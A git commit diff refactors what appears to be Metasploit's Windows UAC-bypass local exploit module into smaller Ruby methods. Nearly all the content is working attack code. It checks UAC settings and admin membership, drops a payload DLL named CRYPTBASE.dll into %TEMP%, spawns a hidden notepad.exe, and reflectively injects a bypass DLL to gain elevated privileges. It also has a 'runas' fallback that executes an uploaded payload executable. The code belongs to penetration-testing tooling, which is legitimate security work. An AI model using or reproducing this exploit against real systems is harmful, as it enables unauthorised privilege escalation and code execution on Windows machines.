code tidying

break big exploit method up into
smaller methods for better maintainability
David Maloney 2014-02-25 14:07:48 -06:00
parent 3c773f031c
commit 23381ea2cb
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
1 changed files with 140 additions and 104 deletions

View File

@ -49,53 +49,40 @@ class Metasploit3 < Msf::Exploit::Local
end
def runas_method
payload = generate_payload_exe
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
tmpdir = expand_path("%TEMP%")
tempexe = tmpdir + "\\" + payload_filename
write_file(tempexe, payload)
print_status("Uploading payload: #{tempexe}")
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
print_status("Payload executed")
def bypass_dll_path
# path to the bypassuac binary
path = ::File.join(Msf::Config.data_directory, "post")
# decide, x86 or x64
sysarch = sysinfo["Architecture"]
if sysarch =~ /x64/i
unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i)
fail_with(
Exploit::Failure::BadConfig,
"x86 Target Selected for x64 System"
)
end
if sysarch =~ /WOW64/i
return ::File.join(path, "bypassuac-x86.dll")
else
return ::File.join(path, "bypassuac-x64.dll")
end
else
if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i)
fail_with(
Exploit::Failure::BadConfig,
"x64 Target Selected for x86 System"
)
end
::File.join(path, "bypassuac-x86.dll")
end
end
def exploit
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
#
# Verify use against Vista+
#
winver = sysinfo["OS"]
if winver !~ /Windows Vista|Windows 2008|Windows [78]/
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
end
if is_uac_enabled?
print_status "UAC is Enabled, checking level..."
else
if is_in_admin_group?
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
else
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
end
end
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Exploit::Failure::NotVulnerable,
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
)
when UAC_DEFAULT
print_good "UAC is set to Default"
print_good "BypassUAC can bypass this setting, continuing..."
when UAC_NO_PROMPT
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
runas_method
return
end
def check_permissions!
# Check if you are an admin
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?
@ -114,72 +101,80 @@ class Metasploit3 < Msf::Exploit::Local
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
end
end
tmpdir = expand_path("%TEMP%").strip
windir = expand_path("%WINDIR%").strip
# path to the bypassuac binary
path = ::File.join(Msf::Config.data_directory, "post")
# decide, x86 or x64
sysarch = sysinfo["Architecture"]
if sysarch =~ /x64/i
unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i)
fail_with(
Exploit::Failure::BadConfig,
"x86 Target Selected for x64 System"
def exploit
validate_environment!
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Exploit::Failure::NotVulnerable,
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
)
end
if sysarch =~ /WOW64/i
bpdll_path = ::File.join(path, "bypassuac-x86.dll")
else
bpdll_path = ::File.join(path, "bypassuac-x64.dll")
end
else
if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i)
fail_with(
Exploit::Failure::BadConfig,
"x64 Target Selected for x86 System"
)
end
bpdll_path = ::File.join(path, "bypassuac-x86.dll")
vprint_status(bpdll_path)
when UAC_DEFAULT
print_good "UAC is set to Default"
print_good "BypassUAC can bypass this setting, continuing..."
when UAC_NO_PROMPT
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
runas_method
return
end
#
# Generate payload and random names for upload
#
payload = generate_payload_dll({:dll_exitprocess => true})
payload_filepath = "#{tmpdir}\\CRYPTBASE.dll"
check_permissions!
print_status("Uploading the Payload DLL to the filesystem...")
begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
write_file(payload_filepath, payload)
rescue ::Exception => e
fail_with(
Exploit::Exception::Unknown,
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
)
end
upload_payload_dll!
dll = ''
File.open(bpdll_path, "rb" ) { |f| dll += f.read(f.stat.size) }
File.open(bypass_dll_path, "rb" ) { |f| dll += f.read(f.stat.size) }
offset = get_reflective_dll_offset(dll)
print_status("Spawning process with Windows Publisher Certificate, to inject into...")
pid = spawn_inject_proc
run_injection(pid, offset, dll)
cmd = "#{windir}\\System32\\notepad.exe"
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
# delete the uac bypass payload
vprint_status("Cleaning up payload file...")
file_rm(payload_filepath)
end
if proc.nil? or proc.pid.nil?
fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
def get_reflective_dll_offset(dll)
pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )
pe.exports.entries.each do |entry|
if( entry.name =~ /^\S*ReflectiveLoader\S*/ )
return pe.rva_to_file_offset( entry.rva )
end
end
pid = proc.pid
raise "Can't find an exported ReflectiveLoader function!"
end
def payload_filepath
"#{expand_path("%TEMP%").strip}\\CRYPTBASE.dll"
end
def runas_method
payload = generate_payload_exe
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
tmpdir = expand_path("%TEMP%")
tempexe = tmpdir + "\\" + payload_filename
write_file(tempexe, payload)
print_status("Uploading payload: #{tempexe}")
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
print_status("Payload executed")
end
def run_injection(pid, offset, dll)
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
begin
vprint_status("Opening process #{pid}")
@ -199,22 +194,63 @@ class Metasploit3 < Msf::Exploit::Local
print_error("Failed to Inject Payload to #{pid}!")
vprint_error(e.to_s)
end
# delete the uac bypass payload
vprint_status("Cleaning up payload file...")
file_rm(payload_filepath)
end
def get_reflective_dll_offset(dll)
pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )
pe.exports.entries.each do |entry|
if( entry.name =~ /^\S*ReflectiveLoader\S*/ )
return pe.rva_to_file_offset( entry.rva )
end
def spawn_inject_proc
windir = expand_path("%WINDIR%").strip
print_status("Spawning process with Windows Publisher Certificate, to inject into...")
cmd = "#{windir}\\System32\\notepad.exe"
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
if proc.nil? or proc.pid.nil?
fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
end
raise "Can't find an exported ReflectiveLoader function!"
proc.pid
end
def upload_payload_dll!
payload = generate_payload_dll({:dll_exitprocess => true})
print_status("Uploading the Payload DLL to the filesystem...")
begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
write_file(payload_filepath, payload)
rescue ::Exception => e
fail_with(
Exploit::Exception::Unknown,
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
)
end
end
def validate_environment!
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
#
# Verify use against Vista+
#
winver = sysinfo["OS"]
unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
end
if is_uac_enabled?
print_status "UAC is Enabled, checking level..."
else
if is_in_admin_group?
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
else
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
end
end
end
end